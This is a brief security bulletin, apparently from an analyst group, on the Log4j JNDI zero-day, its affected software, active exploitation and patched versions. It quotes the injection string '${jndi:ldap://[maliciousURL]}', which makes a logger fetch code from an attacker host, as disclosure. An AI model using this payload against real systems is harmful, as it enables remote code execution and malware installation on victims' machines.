A new zero-day exploit has caught many security teams all around the world off-guard after being released on Friday. The bug exists in the newest versions of the Java logging package Log4j. Created by the Apache Software Foundation, Log4j enables Java developers to easily log information about the running program. It is used in countless mainstream software including Elasticsearch, CloudFlare, Minecraft, PuleSecure, VMWare, and many others. The attack simply involves the attacker being able to force Log4j to include a certain string in a log entry, specifically the string “${jndi:ldap://[maliciousURL]}”, which is then processed by the JNDI function and executed as code. This vulnerability allows remote code execution on the victim machine enabling threat actors to easily spread malware and ransomware. Several threat actors have begun exploiting this vulnerability to install cryptominers, Mirai variants, Cobalt Strike beacons, as well as exfiltrating sensitive information for ransom demands. The Apache Foundation has released Log4j 2.15.0 which has fixed the vulnerability, as well as Log4j 2.16.0 that completely disabled the JNDI functionality, removing the possibility of exploitation altogether. CTAPT analysts are continuing to monitor the fallout of this vulnerability and will provide updates as they are released.